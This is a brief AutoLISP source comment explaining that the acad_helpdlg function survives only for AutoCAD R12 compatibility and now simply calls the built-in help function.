;   R12 compatibility - In R12 (acad_helpdlg) was an externally-defined 
;   ADS function.  Now it's a simple AutoLISP function that calls the 
;   built-in function (help).  It's only purpose is R12 compatibility.  
;   If you are calling it for anything else, you should almost certainly 
;   be calling (help) instead.
